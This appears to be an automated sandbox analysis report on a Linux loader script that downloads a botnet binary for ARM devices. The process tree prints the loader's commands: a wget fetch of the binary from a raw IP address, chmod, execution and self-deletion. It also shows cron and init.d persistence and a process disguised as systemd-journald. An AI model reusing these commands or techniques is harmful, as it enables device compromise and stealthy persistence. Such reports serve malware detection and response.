Analysis
- max time kernel
150s - max time network
149s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
03/08/2026, 02:02
Static task
static1
Behavioral task
behavioral1
Sample
loader.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
loader.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
loader.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
loader.sh
Resource
debian9-mipsel-20260513-en
General
- Target loader.sh
- Size 1KB
- Sample260803-cgbsssam6v
- SHA256 ac48d17645e060f4ce0b9e22c43e7175ecc0c304fb2a4a3cc8a377a0548f2fed
- MD5 cbfd16a655e1fb1ab26d45137339f09b
- SHA1 a9e054e0ba6c6ed134d69c144714cb6f6ab448e3
- SHA512 ba8573a4d7fc7c9e4d509ab1a926f99c806b57c6046b63d90e4d4ac1afba22f911f6c9736271d2be196364d4c2baaec93564ef31b2d6b589124eed1c979207fa
- TLSH T1BD31BCD9B090B132B489E7FCEF1EAF5875033AAD75648E0894F17C64E66D8047C8A5E0
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 674 chmod - Deletes itself 1 IoCs
pid Process 676 3 - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/bot.armv7-a 676 loader.sh /usr/lib/systemd/systemd-journald 676 3 - Runs EXE from memory 1 IoCs
Runs an executable from memory, likely to minimize footprint
ioc pid Process /proc/self/fd/3 676 bot.armv7-a - Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 9.9.9.9 - Creates/modifies Cron job 1 TTPs 3 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.UvJYeC crontab File opened for modification /var/spool/cron/crontabs/tmp.KlwrpK crontab File opened for modification /var/spool/cron/crontabs/tmp.ulnvwT crontab - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/.kworker systemd-journald - Reads MAC address of network interface 2 TTPs 2 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/eth0/address 3 File opened for reading /sys/class/net/eth0/address systemd-journald - Reads process memory 1 TTPs 42 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
description ioc Process File opened for reading /proc/76/maps systemd-journald File opened for reading /proc/9/maps systemd-journald File opened for reading /proc/11/maps systemd-journald File opened for reading /proc/20/maps systemd-journald File opened for reading /proc/28/maps systemd-journald File opened for reading /proc/29/maps systemd-journald File opened for reading /proc/42/maps systemd-journald File opened for reading /proc/108/maps systemd-journald File opened for reading /proc/135/maps systemd-journald File opened for reading /proc/6/maps systemd-journald File opened for reading /proc/8/maps systemd-journald File opened for reading /proc/19/maps systemd-journald File opened for reading /proc/22/maps systemd-journald File opened for reading /proc/641/maps systemd-journald File opened for reading /proc/15/maps systemd-journald File opened for reading /proc/17/maps systemd-journald File opened for reading /proc/21/maps systemd-journald File opened for reading /proc/24/maps systemd-journald File opened for reading /proc/43/maps systemd-journald File opened for reading /proc/106/maps systemd-journald File opened for reading /proc/642/maps systemd-journald File opened for reading /proc/5/maps systemd-journald File opened for reading /proc/23/maps systemd-journald File opened for reading /proc/26/maps systemd-journald File opened for reading /proc/27/maps systemd-journald File opened for reading /proc/109/maps systemd-journald File opened for reading /proc/159/maps systemd-journald File opened for reading /proc/3/maps systemd-journald File opened for reading /proc/640/maps systemd-journald File opened for reading /proc/714/maps systemd-journald File opened for reading /proc/13/maps systemd-journald File opened for reading /proc/18/maps systemd-journald File opened for reading /proc/25/maps systemd-journald File opened for reading /proc/98/maps systemd-journald File opened for reading /proc/10/maps systemd-journald File opened for reading /proc/138/maps systemd-journald File opened for reading /proc/16/maps systemd-journald File opened for reading /proc/4/maps systemd-journald File opened for reading /proc/7/maps systemd-journald File opened for reading /proc/12/maps systemd-journald File opened for reading /proc/14/maps systemd-journald File opened for reading /proc/41/maps systemd-journald -
resource yara_rule behavioral2/files/fstream-2.dat upx - Changes its process name 3 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself systemd 676 3 Changes the process name, possibly in an attempt to hide itself systemd 676 systemd-journald Changes the process name, possibly in an attempt to hide itself systemd-journald 707 systemd-journald - Enumerates kernel/hardware configuration 1 TTPs 5 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/block/sda/device/serial 3 File opened for reading /sys/block/vda/serial 3 File opened for reading /sys/block/sda/device/serial systemd-journald File opened for reading /sys/block/vda/serial systemd-journald File opened for reading /sys/class/net systemd-journald -
description ioc Process File opened for reading /proc/self/comm systemd-journald File opened for reading /proc/16/stat systemd-journald File opened for reading /proc/16/fd systemd-journald File opened for reading /proc/76/stat systemd-journald File opened for reading /proc/138/cmdline systemd-journald File opened for reading /proc/631/cmdline systemd-journald File opened for reading /proc/10/environ systemd-journald File opened for reading /proc/11/cmdline systemd-journald File opened for reading /proc/298/cmdline systemd-journald File opened for reading /proc/18/comm systemd-journald File opened for reading /proc/20/environ systemd-journald File opened for reading /proc/21/cmdline systemd-journald File opened for reading /proc/29/stat systemd-journald File opened for reading /proc/76/comm systemd-journald File opened for reading /proc/298/stat systemd-journald File opened for reading /proc/7/cmdline systemd-journald File opened for reading /proc/self/status systemd-journald File opened for reading /proc/filesystems crontab File opened for reading /proc/12/cmdline systemd-journald File opened for reading /proc/12/status systemd-journald File opened for reading /proc/98/cmdline systemd-journald File opened for reading /proc/98/environ systemd-journald File opened for reading /proc/108/cmdline systemd-journald File opened for reading /proc/4/environ systemd-journald File opened for reading /proc/9/environ systemd-journald File opened for reading /proc/12/fd systemd-journald File opened for reading /proc/27/environ systemd-journald File opened for reading /proc/109/stat systemd-journald File opened for reading /proc/169/stat systemd-journald File opened for reading /proc/313/comm systemd-journald File opened for reading /proc/642/environ systemd-journald File opened for reading /proc/8/environ systemd-journald File opened for reading /proc/9/stat systemd-journald File opened for reading /proc/17/status systemd-journald File opened for reading /proc/146/comm systemd-journald File opened for reading /proc/580/cmdline systemd-journald File opened for reading /proc/793/stat systemd-journald File opened for reading /proc/self/exe systemd-journald File opened for reading /proc/43/status systemd-journald File opened for reading /proc/580/comm systemd-journald File opened for reading /proc/3/fd systemd-journald File opened for reading /proc/filesystems crontab File opened for reading /proc/4/status systemd-journald File opened for reading /proc/98/comm systemd-journald File opened for reading /proc/287/stat systemd-journald File opened for reading /proc/313/stat systemd-journald File opened for reading /proc/9/cmdline systemd-journald File opened for reading /proc/7/fd systemd-journald File opened for reading /proc/23/cmdline systemd-journald File opened for reading /proc/42/status systemd-journald File opened for reading /proc/43/comm systemd-journald File opened for reading /proc/43/cmdline systemd-journald File opened for reading /proc/640/stat systemd-journald File opened for reading /proc/42/stat systemd-journald File opened for reading /proc/76/status systemd-journald File opened for reading /proc/219/stat systemd-journald File opened for reading /proc/283/cmdline systemd-journald File opened for reading /proc/320/stat systemd-journald File opened for reading /proc/770/cmdline systemd-journald File opened for reading /proc/785/comm systemd-journald File opened for reading /proc/791/stat systemd-journald File opened for reading /proc/10/fd systemd-journald File opened for reading /proc/26/status systemd-journald File opened for reading /proc/578/cmdline systemd-journald - Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bot_debug.log systemd-journald File opened for modification /tmp/.cron_tmp systemd-journald File opened for modification /tmp/bot.armv7-a wget
Processes
-
/tmp/loader.sh/tmp/loader.sh1⤵
- Executes dropped EXE
PID:644 -
/bin/unameuname -m2⤵PID:645
-
-
/usr/bin/dirnamedirname /tmp/loader.sh2⤵PID:650
-
-
/usr/bin/basenamebasename /tmp/loader.sh2⤵PID:652
-
-
/usr/bin/wgetwget http://95.164.53.73/bot.armv7-a -O bot.armv7-a2⤵
- Writes file to tmp directory
PID:655
-
-
/bin/chmodchmod 777 bot.armv7-a2⤵
- File and Directory Permissions Modification
PID:674
-
-
/bin/rmrm -rf bot.armv7-a2⤵PID:677
-
-
/tmp/bot.armv7-a./bot.armv7-a2⤵
- Runs EXE from memory
PID:676
-
-
/bin/rmrm -rf /tmp/loader.sh2⤵PID:678
-
-
/proc/self/fd/3./bot.armv7-a1⤵
- Deletes itself
- Executes dropped EXE
- Reads MAC address of network interface
- Changes its process name
- Enumerates kernel/hardware configuration
PID:676
-
/usr/lib/systemd/systemd-journald/usr/lib/systemd/systemd-journald "/memfd: (deleted)"1⤵
- Modifies init.d
- Reads MAC address of network interface
- Reads process memory
- Changes its process name
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:676 -
/usr/sbin/crontabcrontab -l2⤵PID:691
-
-
/usr/bin/crontabcrontab -l2⤵PID:691
-
-
/usr/sbin/crontabcrontab /tmp/.cron_tmp2⤵PID:692
-
-
/usr/bin/crontabcrontab /tmp/.cron_tmp2⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:692
-
-
/usr/sbin/crontabcrontab -l2⤵PID:695
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
PID:695
-
-
/usr/sbin/crontabcrontab /tmp/.cron_tmp2⤵PID:698
-
-
/usr/bin/crontabcrontab /tmp/.cron_tmp2⤵
- Creates/modifies Cron job
PID:698
-
-
/usr/sbin/crontabcrontab -l2⤵PID:700
-
-
/usr/bin/crontabcrontab -l2⤵PID:700
-
-
/usr/sbin/crontabcrontab /tmp/.cron_tmp2⤵PID:702
-
-
/usr/bin/crontabcrontab /tmp/.cron_tmp2⤵
- Creates/modifies Cron job
PID:702
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/init.d/.kworker
- Size 65B
- SHA256 41602099ac3b9c7e713fa0d7bf9c6d45ef23feabec6388df7bc24f5069f9b249
- MD5 5b70b5ec1b3320471d5463668ef0cb9c
- SHA1 b6ac168358b930dee8eaad43c83b9d2827700528
- SHA512 db36ffc6f76d9545e4ce52af35ccef54b41889eaa6d01c3b96d396246345514513006d36d7efb7a52c98cf2bcee5f3f4af71f51c287beccb82bba42510ea349e
- TLSH T101A00241894DAE4118CA1A342C5C52793445AD09A7C1091A451065A79563B51303A755
- MD5 SHA1 SHA512 TLSH
- Path /proc/self/fd/3
- Size 175KB
- SHA256 f6dea2ab6ac8e703b60e2305571eb19155aa6281599d962f4020f8c8a2027272
- MD5 0695af644732b28f96747a4aff32af9c
- SHA1 370abbd485e82b060594860581f265b96f2f1ee6
- SHA512 c048dcf13de77abc705128956ecbcbb9566e3aa0113e9b7755f5aa13e185a944afcb5b0af3c1e0130d3c6392a88422eb8100177d29764cbaf71917dcf63d8d14
- SSDEEP 3072:AM0vNlLtfuw33sA7GN8W7USyEKOLASTRln35U/yemMjPdUVSyWzNGSrSYlHL:AM0vnt2W3ls7UDBOLAu3yWMLeoNGSDr
- TLSH T1EC04125A77022749816593F2C8AFE0E8CE04C27AF7A5BF47747112F2AADA611130BF5C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.bot_debug.log
- Size 230B
- SHA256 38316204b9b6029bcb857332c49529574d126838535ce088f04b7314bd80897d
- MD5 f050627f977b6a108a340ddf9f2a7cf0
- SHA1 86ad6923a602e8b78a7ed13f07832a288a11879a
- SHA512 30f3d7b256fcbeecdba5641d4e0f62d5d21cf08d05776cee745a1f3d18b729f0796cf3f0fefcdc430cde1334c09c013fe2aa6a9a552278915f125d0648b7ade7
- TLSH T1CCD012D656D743394FD31333743785CFD6444122D85368B539A05D74587D0643045D3B
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_debug.log
- Size 24B
- SHA256 1bdaa08509fd9b2cd62d7552a09658b41b4c9fb1492c0ff719c439f289c42fa5
- MD5 c068c5f17db4571d8563d41a9f13e438
- SHA1 b2a74f624ebda2171e80b7379004cde769483f7c
- SHA512 30a1310e2d94f781bcc733703819af380d2acb179827d4da84fdfea0c205337bf0fb063c9347d4872b5cb3a1dc258336bd1eab71b8306b25d1932b435214b6ed
- MD5 SHA1 SHA512
- Path /tmp/.bot_debug.log
- Size 56B
- SHA256 1881f6b4e0ab01e313d45cac75d4e7dd31b0332c9f30ed60cb800774c9e2ff8a
- MD5 804d702a731e034447218484eea438c8
- SHA1 3f08fe9ea07cce598b9435eaedbf262cc135b682
- SHA512 11245cad0aaa40a52c7db36a38dd7dacb33b051ab29163b30dd6b2e85d743c686866d28c302e719b76a8c8b4baf43413edf2e65a554a8078ecc48224af8dd3d6
- TLSH T1B390028456C7033D0EA61B277132848A99515007401214665544193451544201000851
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_debug.log
- Size 76B
- SHA256 270601de9783e204a41ab4f8e497e6088371d71dfd179d7d824ef2699f8dc6d9
- MD5 4fd89545bef4ea56532b4fa4c208c037
- SHA1 499a708b13e4beb3bc920b1ef41c15c634e9f389
- SHA512 b9d076d38af6b7c458c185b35ccfc063493cdb04aa80a9ef937a75b18c8f2407c0ae1bb0b6d914d02993276f615e04c36fc6c4d5de2c0d22d9b582d1b8460a90
- TLSH T1D3A002D466C7073D0EF61B277137D5CFEA515017802324766A442D3465589202440977
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_debug.log
- Size 102B
- SHA256 2ecd163b77f850a0dd7d92dd90d3e75fc3f92d8dca8471a55a6437bc767a3981
- MD5 aebf68ff88e7547224ad9b130f5f2541
- SHA1 8bfa6dcd39398ac052e9116f778c15708934c090
- SHA512 040b2f046917c0465a63f7a954e7aae6b0b6c72b30b9576169cd5f4688405cdebe052d8d8c4e4db428c36062e5e48f6f38e60d7ba54a99a4293f835a6fddb536
- TLSH T15DB011C022C3833C0EF20B33303BC0CFEA2000228023A8322A202E38A8A8A30300083A
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.bot_debug.log
- Size 130B
- SHA256 7d83e482eea6ce7af21ceb72de924e98c9a3f4b9006680a51374181d52baa06c
- MD5 831563cd657c1459bcb7976e71ff4c9f
- SHA1 1d28f15c29e51df4f4a267dfb5855f1b409c490a
- SHA512 d557431a183f3a3c942a428cdd1b53db77ab4e75649470ab0b7e8c0b82a931f1dbe8178e876925d7ac78d9c632f69509cac08170f29f6908b042bfc9149f0aed
- TLSH T136C092D116C783380EE31723343785CFD6105162C113547625102D34A5685743045C3A
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.cron_tmp
- Size 52B
- SHA256 ddd3c1932a4d94529c3f6883ead09c1ba051cab02455e2a87206634a40c20d95
- MD5 0c2af5137ec2bf19cddf07e3f646b009
- SHA1 33d1e6152388d4c05bba7feeee49c8018b95004d
- SHA512 c5033b569aa7856493082edc634c5888a73e607ad07e394fd57dc4a4b2a627dbfe8a297a8b778d2752f45a813f39a8d845e656254a0e3d1eb708a18e49ebee67
- TLSH T17B90025499A55E0134851564641C535458925D1143D51140C0C1B4218B560846214A52
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.cron_tmp
- Size 100B
- SHA256 31f3deb18ee42758c5f33b791d58b279a172f9c043897dfb536f0b2f9e5438f6
- MD5 47e43d8a32508f52f3915067ecc207d4
- SHA1 9964e00c4a0b7a29b0c21093ec8dfcd9b7b90f2d
- SHA512 755c45d059d0441b9cb5c24ae896523b0b811dd820a04d3e55c6e88b0c1949cc317c87d990eebfb950fa370fe40163aa7c32085a30662ddc2e38603d55f3d00a
- TLSH T180B01254EAF89F0230442894B41C13444CE30D1103E42140C0C1F431DF260C45314E52
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.cron_tmp
- Size 152B
- SHA256 8cd445f0cdd8ea0972472cb600c02025479f1d2154115fc38e5862f397dfb07d
- MD5 b9d26c0345da4c5d1902fa1c371c6e0f
- SHA1 105548a689ee03bb5b1508bbfac887319a189f34
- SHA512 d68047c059cb48fb0217063efdf728374c35b14fc653b2fa93f49cc5e569414e7f2d93c75553f3aa54691ac4321afe4387e71a7b3dee077f3fc9d4c0a3f4956b
- TLSH T184C04C68EBA59F12348418D4B96C13844CE35D2246E46140C1C1F831DB17094A314E72
- MD5 SHA1 SHA512 TLSH
- Path /tmp/bot.armv7-a
- Size 470KB
- SHA256 f705b64b8a8dcf8de34dd9c6f1ebcbb5aee140dd973ec70bf998d172ea7d6893
- MD5 4999d5b25ce7f13028f35b1997f8078d
- SHA1 3938a62b0b1b07f7571607ee748d642cf8df6d8a
- SHA512 328dccf3bc4a8abc2dff85840048c555102a093cce8673d8b416ee0cd51245c35384f4d6e170b9f76a1865b5893e62265a0101d0b2905fbc9830077a6786a7c7
- SSDEEP 12288:c4ZS+vgMq1opmuADzQAZtMko+HfL2GUer33DL:V8+Wu60QW+HfLcer33f
- TLSH T10AA48C6ABD419A52C4C426BAF96D918C730313BCC3DA710AEE05CB3576EF48E4D3AB45
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.KlwrpK
- Size 288B
- SHA256 9b2ba55f118088c16586070a0a2848d59b4aa2f297c8c5afdfa0540070d7665d
- MD5 74ae1c67e04e37aebe872304107eade5
- SHA1 ae5ed8dcc858a13b3eed5645336d1af6bb4d74b3
- SHA512 d688e2ad2dd097468e4e73a343867434043d4734f0c807bbc6fccdfd345d5813fa52edecaac20688be1f74914229bf1ed338925c17b9302e96f0dd7b58b9f9ec
- TLSH T1E3D02B1CBF70BE3235451785755D171C9CD3DC6685996A40E0CD7435CB171987750E72
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.UvJYeC
- Size 240B
- SHA256 deadd0e6f6e22f3229ed5554b46df3971050a9b1006c7cb7bd04b91476de98db
- MD5 3166973296858f94b254c8146ab02491
- SHA1 9efda2b28faea78eeefa0d062046d27e24192bb7
- SHA512 540573158d02a6e5a0e8ebba968f2844fdb7d3fe26d7581a69b49db295423e236d96ff2a951727a2561a678858df90e2507db48b4367ab457f5173675a10650f
- TLSH T1D7D0971CBF307D3228450345201E122CA882E86AC5495A00E0CC203187031983B50E32
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.ulnvwT
- Size 340B
- SHA256 cad6256246d24170e4f9e6f6c924951f9fa309fe87252708407a0ecdf1284af9
- MD5 d31b8795e8ac3c5dd000ff1687d651b5
- SHA1 c5010e8bf20c6e66d6faf551785c11860a815805
- SHA512 851932d012f25c77741e2f95faa7041e0b1e4ca804b24a2f507d895112c0a82c8dcca64db7c11adc628eaf61eec00959fee7544df9504b89fab9e3e6ea047e02
- TLSH T17EE0262CBF70AE3234441685796D13589CD39C2685A86A40D1CD7431CB171987710E72
- MD5 SHA1 SHA512 TLSH
- Path /var/tmp/.cache_6732b62e
- Size 68B
- SHA256 e0e5be160b0fa58a280f603ea712fe677310c63a88e82bdd5fd0aaee80a4deb9
- MD5 a1498b652e2938dd35117a5c45cc6c97
- SHA1 71142773015e47a37b1e1e22c975386712bfca1f
- SHA512 ff343fc5d27231e89129ff0c90cd99420c0125a3a0e070a719424c64b15bc2eaa2192855c3751c14bf29180d29da43d7af9de4d42ec5db1c9e08acea57b8d281
- TLSH T1CEA02202B200338302008820C002222C2EB200C3E028220E0CE320A28A028000F03A0B
- MD5 SHA1 SHA512 TLSH